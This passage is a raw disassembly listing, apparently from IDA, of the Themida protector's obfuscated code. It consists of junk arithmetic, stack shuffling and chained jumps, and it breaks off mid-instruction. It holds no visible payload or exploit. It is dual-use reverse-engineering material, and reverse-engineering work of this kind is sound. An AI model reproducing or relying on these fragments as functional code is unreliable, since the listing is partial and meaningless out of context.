[esp] add esp, 4 sub edx, 1E5279F9h jmp loc_56762A ; --------------------------------------------------------------------------- loc_5710C0: ; CODE XREF: Themida_:0055DEE5j sub esp, 4 mov [esp], edi not dword ptr [esp] pop edi jmp loc_56F877 ; --------------------------------------------------------------------------- loc_5710CF: ; CODE XREF: Themida_:0056B820j push eax mov al, 0D2h xor dh, al pop eax mov ah, dh pop edx jmp loc_56EDF0 ; --------------------------------------------------------------------------- loc_5710DD: ; CODE XREF: Themida_:005643E4j pop dword ptr [esp] pop esp push 4021h mov [esp], eax jmp loc_55D86D ; --------------------------------------------------------------------------- push 4C47h mov [esp], edx mov edx, esp jmp loc_56273A ; --------------------------------------------------------------------------- loc_5710FD: ; CODE XREF: Themida_:005697E9j push 4BE3h mov [esp], ebx mov ebx, 3093118h push ebx mov ebx, 1F5E365Eh push ebx jmp loc_56A9F0 ; --------------------------------------------------------------------------- loc_571116: ; CODE XREF: Themida_:00561D48j push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] jmp loc_569953 ; --------------------------------------------------------------------------- loc_57112A: ; CODE XREF: Themida_:0056FC66j add esp, 4 mov ebx, [esp] add esp, 4 add bl, dl jmp loc_568558 ; --------------------------------------------------------------------------- loc_571140: ; CODE XREF: Themida_:0056F972j mov edx, [esp] push edi jmp loc_5703F4 ; --------------------------------------------------------------------------- loc_571149: ; CODE XREF: Themida_:00565AF7j mov esi, ecx pop ecx mov ebp, [esp] push ebp jmp loc_56EF00 ; --------------------------------------------------------------------------- loc_571155: ; CODE XREF: Themida_:00564445j add ecx, 235027CDh xor ecx, 90C93ED6h sub esi, ecx pop ecx push edi mov edi, 7F2079A6h push edi neg dword ptr [esp] pop edi jmp loc_566818 ; --------------------------------------------------------------------------- loc_571174: ; CODE XREF: Themida_:00569360j xor ebx, 40451300h shl ebx, 6 jmp loc_55EC5C ; --------------------------------------------------------------------------- loc_571182: ; CODE XREF: Themida_:0055E5A0j add esp, 4 jmp loc_57256D ; --------------------------------------------------------------------------- loc_57118A: ; CODE XREF: Themida_:00562D43j push esi push ebp push edx mov edx, 53A95F00h mov ebp, edx pop edx push eax mov eax, ebp push eax jmp loc_566D35 ; --------------------------------------------------------------------------- loc_57119E: ; CODE XREF: Themida_:00560290j push ebp mov ebp, esp add ebp, 4 jmp loc_56545F ; --------------------------------------------------------------------------- loc_5711AC: ; CODE XREF: Themida_:00569BEFj xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5711BD: ; CODE XREF: Themida_:00568C8Dj xor ebx, esi not ebx xor ebx, 15999331h sub esi, ebx pop ebx add esi, eax push 0A0Bh mov [esp], ebp mov ebp, 4EDE42F1h add esi, ebp pop ebp pop eax xchg esi, [esp] pop esp add [esp], ax pushf jmp loc_5704A8 ; --------------------------------------------------------------------------- loc_5711EB: ; CODE XREF: Themida_:0056DCC9j mov edi, [esp] push edi mov edi, esp jmp loc_56573B ; --------------------------------------------------------------------------- loc_5711F6: ; CODE XREF: Themida_:005721FDj sub esp, 4 mov [esp], eax mov eax, 15A106DCh push edx push 3EFF7AEEh pop edx shr edx, 2 add edx, 0BE52D0Dh mov ecx, edx pop edx sub ecx, eax jmp loc_565242 ; --------------------------------------------------------------------------- loc_57121B: ; CODE XREF: Themida_:00562FADj mov edx, 50BB2D01h xor ecx, edx jmp loc_56F2C9 ; --------------------------------------------------------------------------- loc_571227: ; CODE XREF: Themida_:0056CD05j mov ebx, ecx jmp loc_56A768 ; --------------------------------------------------------------------------- loc_57122E: ; CODE XREF: Themida_:0056406Dj pop ebx add esi, ecx pop ecx push edx mov edx, 4 sub esi, 66F22247h add esi, 5E352B1Bh jmp loc_56D93B ; --------------------------------------------------------------------------- loc_571249: ; CODE XREF: Themida_:00564DEBj mov dh, 0B0h jmp loc_568056 ; --------------------------------------------------------------------------- loc_571250: ; CODE XREF: Themida_:0056585Bj add esi, 4 xchg esi, [esp] pop esp pop edx push esi push dword ptr [esp+4] jmp loc_55EA63 ; --------------------------------------------------------------------------- loc_571265: ; CODE XREF: Themida_:00565AC3j pop ebp sub edx, ebp pop ebp add edx, esi jmp loc_56B297 ; --------------------------------------------------------------------------- loc_571270: ; CODE XREF: Themida_:0056D0A9j push edx mov dh, 0C3h add dh, 7 add dh, 9Dh xor dh, 0D7h add al, dh pop edx push dword ptr [esp] jmp loc_563876 ; --------------------------------------------------------------------------- loc_571287: ; CODE XREF: Themida_:00564D00j push ebp mov ebp, 3B004913h or esi, ebp mov ebp, [esp] push eax jmp loc_56481D ; --------------------------------------------------------------------------- loc_571298: ; CODE XREF: Themida_:0055ECE8j mov ebx, [esp] jmp loc_56356C ; --------------------------------------------------------------------------- loc_5712A0: ; CODE XREF: Themida_:00566D90j push edi jmp loc_560E02 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] mov eax, [esp] jmp loc_571F4E ; --------------------------------------------------------------------------- loc_5712B1: ; CODE XREF: Themida_:0056FE93j push 58382316h pop esi shr esi, 8 push edx mov edx, 4CE866C3h sub esi, edx pop edx sub esi, 99ADA4C3h mov ebp, esi pop esi mov ecx, ebp pop ebp shr ecx, 4 shl ecx, 7 shr ecx, 1 push ebp jmp loc_5601CE ; --------------------------------------------------------------------------- loc_5712DD: ; CODE XREF: Themida_:0056648Fj pop eax pop edx push eax jmp loc_56B0F9 ; --------------------------------------------------------------------------- loc_5712E5: ; CODE XREF: Themida_:0056A603j sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], eax mov eax, 4 jmp loc_56B3CA ; --------------------------------------------------------------------------- loc_571301: ; CODE XREF: Themida_:00567890j mov ecx, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] push ebx push esp mov ebx, [esp] add esp, 4 push edx mov edx, 4 sub ebx, 796227D3h add ebx, edx add ebx, 796227D3h push dword ptr [esp] jmp loc_55ED90 ; --------------------------------------------------------------------------- loc_571337: ; CODE XREF: Themida_:0056F3ECj mov esi, 730709B9h xor esi, 44CC1B5Bh sub eax, esi pop esi sub eax, 34FE631Bh push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push ebx push esp pop ebx jmp loc_56AC5B ; --------------------------------------------------------------------------- loc_571361: ; CODE XREF: Themida_:0056E360j pop esp loc_571362: ; CODE XREF: Themida_:00571893j push 14Bh jmp loc_566F13 ; --------------------------------------------------------------------------- loc_57136C: ; CODE XREF: Themida_:0056BB67j add edx, 4D205BB2h sub edx, 4D30365Bh add ebp, edx pop edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax mov eax, 4 sub ebp, 6A927EC9h add ebp, 19E84528h add ebp, eax sub ebp, 19E84528h push ecx jmp loc_567DF0 ; --------------------------------------------------------------------------- loc_5713B0: ; CODE XREF: Themida_:005693D8j xor edi, 1BC31A13h add eax, edi jmp loc_568970 ; --------------------------------------------------------------------------- loc_5713BD: ; CODE XREF: Themida_:0056D0DCj push esp mov esi, [esp] add esp, 4 push ecx mov ecx, 4 add esi, ecx push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_56A7FC ; --------------------------------------------------------------------------- loc_5713E1: ; CODE XREF: Themida_:0055F4B1j mov esp, [esp] mov [esp], ebp jmp loc_563565 ; --------------------------------------------------------------------------- loc_5713EC: ; CODE XREF: Themida_:00570AD1j xor cl, 0C2h xor cl, 6Bh jmp loc_5619F2 ; --------------------------------------------------------------------------- loc_5713F7: ; CODE XREF: Themida_:00564470j sub esp, 4 mov [esp], esi push dword ptr [esp] pop eax jmp loc_56F4D7 ; --------------------------------------------------------------------------- loc_571409: ; CODE XREF: Themida_:005664B3j add esp, 4 jmp loc_570EAB ; --------------------------------------------------------------------------- loc_571414: ; CODE XREF: Themida_:0056A19Ej mov [esp], esp push esi mov esi, 4 add [esp+4], esi jmp loc_55E1DE ; --------------------------------------------------------------------------- loc_571426: ; CODE XREF: Themida_:005681D3j pop edx push eax jmp loc_55FADA ; --------------------------------------------------------------------------- loc_57142D: ; CODE XREF: Themida_:0056ED7Bj not esi xchg esi, ebp push edx mov edx, 1 add ebp, 378878CAh add ebp, edx jmp loc_5662E5 ; --------------------------------------------------------------------------- loc_571444: ; CODE XREF: Themida_:0055F623j mov ecx, [esp] add esp, 4 sub al, 0A6h jmp loc_55E291 ; --------------------------------------------------------------------------- loc_571451: ; CODE XREF: Themida_:0056CDF4j add eax, 4 push esi jmp loc_561D13 ; --------------------------------------------------------------------------- loc_57145C: ; CODE XREF: Themida_:0056F935j pop esp jmp loc_55F0A0 ; --------------------------------------------------------------------------- loc_571462: ; CODE XREF: Themida_:0056A7DDj add eax, edx push esi mov esi, 31281C5Fh jmp loc_564EF2 ; --------------------------------------------------------------------------- push 44EEh mov [esp], ecx jmp loc_55FE3B ; --------------------------------------------------------------------------- loc_57147C: ; CODE XREF: Themida_:00569AE3j xor ecx, 30052C0Ah sub ecx, 0DF78D52Ch mov eax, ecx pop ecx add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov cx, [esp] push eax push edi jmp loc_566473 ; --------------------------------------------------------------------------- loc_5714A5: ; CODE XREF: Themida_:00568677j popa retn ; --------------------------------------------------------------------------- jmp loc_565A80 ; --------------------------------------------------------------------------- loc_5714AC: ; CODE XREF: Themida_:0056D720j add ecx, eax mov eax, [esp] jmp loc_55DD44 ; --------------------------------------------------------------------------- loc_5714B6: ; CODE XREF: Themida_:005604E6j or esi, 26405906h jmp loc_561CA2 ; --------------------------------------------------------------------------- loc_5714C1: ; CODE XREF: Themida_:0056878Cj pop edi dec edi push eax mov eax, 63193B2Fh add eax, 518C60E9h jmp loc_569137 ; --------------------------------------------------------------------------- loc_5714D3: ; CODE XREF: Themida_:0056BFF7j add ebp, 58F75119h add ebp, esi sub ebp, 58F75119h jmp loc_56EE43 ; --------------------------------------------------------------------------- mov eax, [esp] jmp loc_561CEE ; --------------------------------------------------------------------------- loc_5714EE: ; CODE XREF: Themida_:005607C7j mov ebp, 8963E36h xor ebp, esi mov esi, [esp] add esp, 4 shl ebp, 8 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_564859 ; --------------------------------------------------------------------------- loc_57151C: ; CODE XREF: Themida_:00569DA6j push ebx push 35FB6FD4h pop ebx or ebx, 359C5CC8h jmp loc_56FC9E ; --------------------------------------------------------------------------- loc_57152E: ; CODE XREF: Themida_:0055F03Aj add dword ptr [esp+4], 61D912F9h pop ebx jmp loc_56AA72 ; --------------------------------------------------------------------------- loc_57153C: ; CODE XREF: Themida_:0056A450j add ebp, 66415B59h inc ebp add ebp, 39AC70F8h add ebx, ebp pop ebp add ebx, 4 jmp loc_56422B ; --------------------------------------------------------------------------- loc_571554: ; CODE XREF: Themida_:005619B7j push dword ptr [esp] pop eax add esp, 4 jmp loc_56BFD5 ; --------------------------------------------------------------------------- loc_571563: ; CODE XREF: Themida_:0056CF0Fj sub ecx, 4FDB590Dh pop edx jmp loc_56F3C3 ; --------------------------------------------------------------------------- loc_57156F: ; CODE XREF: Themida_:00562B33j mov [esp], esi push 0FFFFFFFFh jmp loc_5678BE ; --------------------------------------------------------------------------- loc_57157C: ; CODE XREF: Themida_:0055DBF9j mov [esp], eax mov al, 4Bh shl al, 7 and al, 0C7h shl al, 1 or al, 8 push cx jmp loc_56D085 ; --------------------------------------------------------------------------- loc_571591: ; CODE XREF: Themida_:00571051j not edx jmp loc_564838 ; --------------------------------------------------------------------------- loc_571598: ; CODE XREF: Themida_:00568BC1j pop ecx and cl, dh pop edx push ax mov ah, 8Fh jmp loc_5681A2 ; --------------------------------------------------------------------------- loc_5715A5: ; CODE XREF: Themida_:0056AA55j pop esp push eax jmp loc_55E7B3 ; --------------------------------------------------------------------------- loc_5715AC: ; CODE XREF: Themida_:00567ADCj push esp pop ecx push ebx push esi push 23251C96h jmp loc_56676B ; --------------------------------------------------------------------------- loc_5715BA: ; CODE XREF: Themida_:00566CEAj sub edx, 3CE9301Fh jmp loc_56C5C4 ; --------------------------------------------------------------------------- loc_5715C5: ; CODE XREF: Themida_:00571E54j pop edx jmp loc_55EC30 ; --------------------------------------------------------------------------- loc_5715CB: ; CODE XREF: Themida_:00560908j sub esp, 4 jmp loc_56C98B ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_560047 ; --------------------------------------------------------------------------- loc_5715DE: ; CODE XREF: Themida_:0056D57Fj pop eax push ebx mov ebx, 7A414348h jmp loc_56F38F ; --------------------------------------------------------------------------- loc_5715EA: ; CODE XREF: Themida_:005617F1j sub dl, 7Bh add dl, cl jmp loc_568035 ; --------------------------------------------------------------------------- loc_5715F4: ; CODE XREF: Themida_:005618D1j sub ebx, ebp pop ebp jmp loc_55F77D ; --------------------------------------------------------------------------- loc_5715FC: ; CODE XREF: Themida_:005667B4j sub ecx, 62625EC3h mov ebp, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov ax, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push eax push 55D1h mov [esp], edi jmp loc_564F43 ; --------------------------------------------------------------------------- loc_57164A: ; CODE XREF: Themida_:0056F1C3j sub [esp+8], edi mov edi, [esp] add esp, 4 push ebp mov ebp, 373E6756h sub [esp+8], ebp pop ebp add [esp+4], eax push ebx push edi jmp loc_56193C ; --------------------------------------------------------------------------- loc_57166A: ; CODE XREF: Themida_:0057100Cj push ebx jmp loc_56C209 ; --------------------------------------------------------------------------- loc_571670: ; CODE XREF: Themida_:00562A8Ej mov [esp], ecx mov ecx, esp jmp loc_568CCA ; --------------------------------------------------------------------------- loc_57167A: ; CODE XREF: Themida_:00569AC6j add ebp, 4 push esi mov esi, 4 jmp loc_5603CE ; --------------------------------------------------------------------------- loc_57168B: ; CODE XREF: Themida_:0056F50Fj mov [esp], edx mov edx, 4 add edi, 69147F61h add edi, edx sub esp, 4 mov [esp], ebp jmp loc_56626E ; --------------------------------------------------------------------------- loc_5716A9: ; CODE XREF: Themida_:00561AEBj pop ecx push esi push esp mov esi, [esp] jmp loc_564896 ; --------------------------------------------------------------------------- loc_5716B4: ; CODE XREF: Themida_:0055FCBBj push esp pop ecx push ebx mov ebx, 4 sub ecx, 0A010160h add ecx, ebx add ecx, 0A010160h pop ebx sub esp, 4 mov [esp], edx mov edx, 4 sub ecx, 5E3E0E82h add ecx, edx add ecx, 5E3E0E82h jmp loc_5650CD ; --------------------------------------------------------------------------- loc_5716EC: ; CODE XREF: Themida_:0055F2B9j pop ebx jmp loc_5615D2 ; --------------------------------------------------------------------------- loc_5716F2: ; CODE XREF: Themida_:00560BBAj pop ebp push esi mov esi, 30AA1DC3h jmp loc_55EAFD ; --------------------------------------------------------------------------- loc_5716FE: ; CODE XREF: Themida_:0056D86Bj add ebx, 31DB7669h add ebx, 743E68B5h sub ebx, ecx sub ebx, 743E68B5h jmp loc_5621A8 ; --------------------------------------------------------------------------- loc_571717: ; CODE XREF: Themida_:0056498Ej mov [esp], ebp jmp loc_5674D0 ; --------------------------------------------------------------------------- loc_57171F: ; CODE XREF: Themida_:0056436Ej inc edi jmp loc_56E8A2 ; --------------------------------------------------------------------------- loc_571725: ; CODE XREF: Themida_:005647B8j mov [esp], esp add dword ptr [esp], 4 pop edi push 1D0Fh mov [esp], ebp push eax push 38E050E0h jmp loc_569C4B ; --------------------------------------------------------------------------- loc_571743: ; CODE XREF: Themida_:00571FBFj mov edx, 0D7F6FA1h xor edx, eax jmp loc_5720C5 ; --------------------------------------------------------------------------- loc_57174F: ; CODE XREF: Themida_:0056138Fj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax mov al, 0C1h jmp loc_566A87 ; --------------------------------------------------------------------------- loc_571769: ; CODE XREF: Themida_:00563F79j xor esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx push ecx mov cl, 38h mov dl, 94h add dl, 81h add dl, cl sub dl, 81h mov ecx, [esp] jmp loc_56B47C ; --------------------------------------------------------------------------- loc_57178A: ; CODE XREF: Themida_:0055DBB2j pop eax jmp loc_56E61B ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_571799: ; CODE XREF: Themida_:005616A0j xchg edi, [esp] pop esp jmp loc_561394 ; --------------------------------------------------------------------------- loc_5717A2: ; CODE XREF: Themida_:0056864Ej mov dl, al mov eax, [esp] jmp loc_56252D ; --------------------------------------------------------------------------- loc_5717AC: ; CODE XREF: Themida_:00565651j mov [esp], esi push ecx jmp loc_564319 ; --------------------------------------------------------------------------- loc_5717B5: ; CODE XREF: Themida_:00567C3Ej mov dx, 5B3Fh push ebp mov bp, dx mov cx, bp jmp loc_5636DA ; --------------------------------------------------------------------------- loc_5717C5: ; CODE XREF: Themida_:005645FDj pop esp idiv cx push 3E17h mov [esp], ebp mov ebp, esp push 6FB8h mov [esp], eax push ebp mov ebp, 13406FCAh mov eax, 860970Bh jmp loc_56AB69 ; --------------------------------------------------------------------------- loc_5717EB: ; CODE XREF: Themida_:0055D8D6j shl edx, 2 push ebx jmp loc_567B77 ; --------------------------------------------------------------------------- loc_5717F4: ; CODE XREF: Themida_:00565D59j xchg ebx, edi jmp loc_5602BB ; --------------------------------------------------------------------------- loc_5717FB: ; CODE XREF: Themida_:00569378j mov ebp, 625617D6h xor ebx, ebp pop ebp sub esp, 4 mov [esp], ebx pop esi pop ebx jmp loc_5678E0 ; --------------------------------------------------------------------------- loc_571813: ; CODE XREF: Themida_:0056BB9Ej add ecx, 3FFAEBF5h jmp loc_570847 ; --------------------------------------------------------------------------- loc_57181E: ; CODE XREF: Themida_:0056AFD6j mov [esp], ecx mov ecx, esp push ebp mov ebp, 4B6D27EAh shr ebp, 3 sub ebp, 0FFFFFFFFh and ebp, 380272CBh inc ebp jmp loc_570369 ; --------------------------------------------------------------------------- loc_57183E: ; CODE XREF: Themida_:00562958j ; Themida_:0056A374j push ebx push ebx jmp loc_560F31 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55DDDB ; --------------------------------------------------------------------------- loc_57184E: ; CODE XREF: Themida_:0056A8ACj push ecx push 3725h mov [esp], esp sub esp, 4 mov [esp], edx mov edx, 4 add dword ptr [esp+4], 250E1BDDh add [esp+4], edx jmp loc_565149 ; --------------------------------------------------------------------------- loc_571876: ; CODE XREF: Themida_:005702B1j mov [esp], edi jmp loc_56F5DF ; --------------------------------------------------------------------------- loc_57187E: ; CODE XREF: Themida_:00569628j mov ebx, 4 add edx, 116E4365h jmp loc_56DCD6 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_571362 push eax mov eax, 36A44ABDh add eax, 0FFFFFFFFh shr eax, 2 shl eax, 5 xor eax, 0FB0642E1h add esi, 6A432B54h jmp loc_561DD4 ; --------------------------------------------------------------------------- loc_5718BA: ; CODE XREF: Themida_:005660A8j push edx mov edx, esp add edx, 4 push 4CE1h mov [esp], eax mov eax, 4 sub edx, 198B2E34h add edx, eax add edx, 198B2E34h pop eax xor edx, [esp] jmp loc_5627BD ; --------------------------------------------------------------------------- loc_5718E7: ; CODE XREF: Themida_:0055D87Aj pop ebp xchg ecx, [esp] jmp loc_56A7E2 ; --------------------------------------------------------------------------- loc_5718F0: ; CODE XREF: Themida_:005614DAj mov ebp, [esp] add esp, 4 jmp loc_56F322 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push edi mov edi, esp push ecx mov ecx, 4 jmp loc_568C92 ; --------------------------------------------------------------------------- loc_57190F: ; CODE XREF: Themida_:0055F32Dj mov [esp], ecx mov ecx, 29126043h shr ecx, 6 or ecx, 59070828h or ecx, 0F1E7C42h sub ecx, 7F8D2DCCh jmp loc_56B4B8 ; --------------------------------------------------------------------------- loc_571931: ; CODE XREF: Themida_:00565676j xor ebp, 7C7C1C77h neg ebp and ebp, 77DB6233h sub ebp, 538B1FFEh jmp loc_56F1A2 ; --------------------------------------------------------------------------- loc_57194A: ; CODE XREF: Themida_:0056B1CDj pop ebx push ebx jmp loc_56DC27 ; --------------------------------------------------------------------------- loc_571951: ; CODE XREF: Themida_:0055E850j mov [esp], edx push ebp push 5BFA72A4h pop ebp shr ebp, 5 inc ebp sub ebp, 0F1C0E0Ch push 0C6h mov [esp], esi mov esi, 0EDBF9AE0h jmp loc_55FF1F ; --------------------------------------------------------------------------- loc_571977: ; CODE XREF: Themida_:0055F3B8j mov eax, [esp] jmp loc_563283 ; --------------------------------------------------------------------------- loc_57197F: ; CODE XREF: Themida_:00570C28j xor [esp], esi push 54CDh mov [esp], esi xchg eax, [esp] sub esp, 4 mov [esp], eax xchg esi, [esp] not esi xchg esi, [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xchg eax, [esp] jmp loc_56BF04 ; --------------------------------------------------------------------------- loc_5719BF: ; CODE XREF: Themida_:0055FF0Ej push edi mov edi, 0DE043124h add ebp, 490E42EBh add ebp, edi sub ebp, 490E42EBh mov edi, [esp] jmp loc_5632A6 ; --------------------------------------------------------------------------- loc_5719DB: ; CODE XREF: Themida_:0056DD62j add ebx, edx add ebx, 4323176Fh mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_5660F9 ; --------------------------------------------------------------------------- loc_5719FA: ; CODE XREF: Themida_:00569ABFj or edi, 37B407F2h jmp loc_5621DF ; --------------------------------------------------------------------------- loc_571A05: ; CODE XREF: Themida_:00562B9Ej add esp, 4 jmp loc_56AC81 ; --------------------------------------------------------------------------- loc_571A0D: ; CODE XREF: Themida_:0056B777j pop bx shl dx, 7 sub dx, 59FAh add dx, 1 jmp loc_56932B ; --------------------------------------------------------------------------- loc_571A22: ; CODE XREF: Themida_:00568E36j mov cl, 10h not cl not cl jmp loc_5680E5 ; --------------------------------------------------------------------------- loc_571A2D: ; CODE XREF: Themida_:00567962j add esp, 4 push esi push esi mov esi, 669263Bh sub dword ptr [esp+4], 2FC62034h jmp loc_5640AE ; --------------------------------------------------------------------------- loc_571A47: ; CODE XREF: Themida_:0055F189j add ecx, 0C3F3F404h add edi, 6B2A2520h sub edi, ecx jmp loc_564D05 ; --------------------------------------------------------------------------- loc_571A5A: ; CODE XREF: Themida_:005697CEj add bl, 16h add bl, 21h jmp loc_569685 ; --------------------------------------------------------------------------- loc_571A65: ; CODE XREF: Themida_:0056B838j shl dh, 4 neg dh add dh, 44h sub cl, dh jmp loc_561F38 ; --------------------------------------------------------------------------- loc_571A74: ; CODE XREF: Themida_:0056D172j push edi mov edi, 0 sub edi, edx mov edx, edi pop edi neg edx dec edx xor edx, 0BF86AECh jmp loc_56B84F ; --------------------------------------------------------------------------- loc_571A8D: ; CODE XREF: Themida_:005651C0j mov ebx, esp jmp loc_5662B1 ; --------------------------------------------------------------------------- loc_571A94: ; CODE XREF: Themida_:005701D3j add eax, edi sub eax, 1D193906h pop edi movzx ax, byte ptr [eax] push small 1F72h mov [esp], ax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_571AAD: ; CODE XREF: Themida_:0056A15Cj mov esi, 521210B7h shl esi, 6 sub esi, 433F27AAh push edi mov edi, 463F3DE2h or edi, 73520701h or edi, 747E2F73h dec edi shr edi, 8 add edi, 72E126EBh sub edi, 0E406C4Dh jmp loc_55F55F ; --------------------------------------------------------------------------- loc_571AE2: ; CODE XREF: Themida_:0056D8EFj push ebp mov ebp, 34FB6936h sub ebp, 346FBE2h sub edx, ebp pop ebp add edx, 72DD3297h sub edx, ebx sub edx, 72DD3297h add edx, 31B46D54h sub edx, 246B35B6h jmp loc_56E3C5 ; --------------------------------------------------------------------------- loc_571B10: ; CODE XREF: Themida_:00561DCFj add esp, 4 add eax, ebp sub eax, 431457FEh pop ebp sub eax, ebp push edi jmp loc_5620B5 ; --------------------------------------------------------------------------- loc_571B26: ; CODE XREF: Themida_:00566E6Cj add bl, 0D9h push 1019h mov [esp], eax push 963h mov [esp], ebx mov bh, 0D5h mov ah, 0FEh jmp loc_55DBCE ; --------------------------------------------------------------------------- loc_571B42: ; CODE XREF: Themida_:00569F13j sub esp, 4 jmp loc_56CA9D ; --------------------------------------------------------------------------- loc_571B4D: ; CODE XREF: Themida_:0056F616j sub ecx, 67DC2410h add ecx, 29F23533h pop esi sub ecx, 2C53C324h xor eax, ecx mov ecx, [esp] jmp loc_56EBAA ; --------------------------------------------------------------------------- loc_571B6A: ; CODE XREF: Themida_:0056D421j mov ecx, 2D96CB2h add esi, ecx pop ecx add esi, edx sub esi, 2D96CB2h pop edx xchg esi, [esp] pop esp push edi mov edi, esp add edi, 4 push 5DFFh mov [esp], ebx mov ebx, 4 add edi, ebx jmp loc_5662C8 ; --------------------------------------------------------------------------- loc_571B9C: ; CODE XREF: Themida_:00564DD4j pop ebp jmp loc_56DF1F ; --------------------------------------------------------------------------- loc_571BA2: ; CODE XREF: Themida_:00564BEEj add ebp, edi pop edi push ebp push dword ptr [esp+4] jmp loc_56F8D1 ; --------------------------------------------------------------------------- loc_571BAF: ; CODE XREF: Themida_:0056164Aj push edx mov dl, 0D8h add al, dl pop edx sub al, 82h pop ebx mov bh, al jmp loc_56F53E ; --------------------------------------------------------------------------- loc_571BBF: ; CODE XREF: Themida_:00570653j sub ebp, ecx pop ecx push esi push 6F2Bh jmp loc_56F3F1 ; --------------------------------------------------------------------------- loc_571BCD: ; CODE XREF: Themida_:0056E13Fj xor ebx, 9054CA1h xor ebx, 1F993A99h sub ebx, 760968E6h add ebp, ebx pop ebx jmp loc_56268C ; --------------------------------------------------------------------------- loc_571BE7: ; CODE XREF: Themida_:005613BEj push 61E5h mov [esp], edx mov edx, 6A7698D2h jmp loc_569E01 ; --------------------------------------------------------------------------- loc_571BF9: ; CODE XREF: Themida_:00568F9Ej pop dword ptr [esp] mov esp, [esp] jmp loc_562CD0 ; --------------------------------------------------------------------------- loc_571C04: ; CODE XREF: Themida_:0056E706j pop esi add esp, 4 add ebx, ebp pop ebp xchg ebx, [esp] mov esp, [esp] jmp loc_55DE93 ; --------------------------------------------------------------------------- loc_571C16: ; CODE XREF: Themida_:005722CDj push ax push edx mov dl, 0FFh mov ah, dl pop edx sub dl, ah mov ax, [esp] add esp, 2 jmp loc_55E5DB ; --------------------------------------------------------------------------- loc_571C2C: ; CODE XREF: Themida_:00565E47j pop ecx add edx, 20A563DFh pop ecx push 79D7h mov [esp], esi mov esi, 4 sub edx, 16BB23C5h sub edx, esi add edx, 16BB23C5h mov esi, [esp] push 47FFh mov [esp], edx jmp loc_56B7DC ; --------------------------------------------------------------------------- loc_571C5F: ; CODE XREF: Themida_:005654CBj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 72DD3026h pop ebp sub ebp, 1 dec ebp push edx mov edx, 204F67B6h shr edx, 7 add edx, 79A177D0h sub ebp, edx pop edx sub ebp, 0F8FB1981h mov esi, ebp jmp loc_56C4B3 ; --------------------------------------------------------------------------- loc_571C95: ; CODE XREF: Themida_:0056379Dj mov [esp], esp jmp loc_566870 ; --------------------------------------------------------------------------- loc_571C9D: ; CODE XREF: Themida_:0055EA76j shr ebp, 8 neg ebp push edi push eax mov eax, 703138ADh mov edi, eax pop eax shl edi, 2 jmp loc_564E74 ; --------------------------------------------------------------------------- loc_571CB4: ; CODE XREF: Themida_:00565312j sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_563FCC ; --------------------------------------------------------------------------- loc_571CC4: ; CODE XREF: Themida_:00563F20j sub esi, 566372DAh jmp loc_5647E8 ; --------------------------------------------------------------------------- loc_571CCF: ; CODE XREF: Themida_:0055E2DBj add esi, 4 push edi push 4 pop edi jmp loc_562A0E ; --------------------------------------------------------------------------- loc_571CE1: ; CODE XREF: Themida_:00570D6Aj add ebx, edx jmp loc_568A46 ; --------------------------------------------------------------------------- loc_571CE8: ; CODE XREF: Themida_:00563F62j add ecx, 650A0661h mov ebx, [esp] add esp, 4 jmp loc_568F71 ; --------------------------------------------------------------------------- loc_571CF9: ; CODE XREF: Themida_:00567A98j sub ebp, edx jmp loc_55DC35 ; --------------------------------------------------------------------------- loc_571D00: ; CODE XREF: Themida_:0056D188j add esi, ebx jmp loc_56390E ; --------------------------------------------------------------------------- loc_571D07: ; CODE XREF: Themida_:00562779j mov [esp], ebx mov ebx, 40DD0B20h sub esp, 4 mov [esp], edx push ecx push esi push 5D8D144Ch pop esi add esi, 23C37E4Ch and esi, 71A23E3Ch sub esi, 0E0829FA0h mov ecx, esi pop esi mov edx, 51277013h xor edx, ecx pop ecx jmp loc_5623BA ; --------------------------------------------------------------------------- loc_571D42: ; CODE XREF: Themida_:00562943j mov edx, 61AB5A6Ch mov ebx, edx pop edx and edx, ebx pop ebx push 3097h mov [esp], ecx mov ecx, 74FA6E3Eh sub ecx, 752E787Dh jmp loc_5674C9 ; --------------------------------------------------------------------------- loc_571D65: ; CODE XREF: Themida_:005650C1j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_571D6A: ; CODE XREF: Themida_:005662C3j mov al, 1 sub bl, al pop eax jmp loc_56ABEE ; --------------------------------------------------------------------------- loc_571D74: ; CODE XREF: Themida_:0056CC26j shl ebp, 7 push esi mov esi, 1DCA46EEh neg esi sub esi, 287C6CDBh add esi, 78F06339h not esi xor esi, 0D9B3379Dh add ebp, esi pop esi sub ebp, 603A0C54h or ebp, 3A2022E7h add ebp, 7BBA4DE5h push ecx mov ecx, 459B57CDh neg ecx xor ecx, 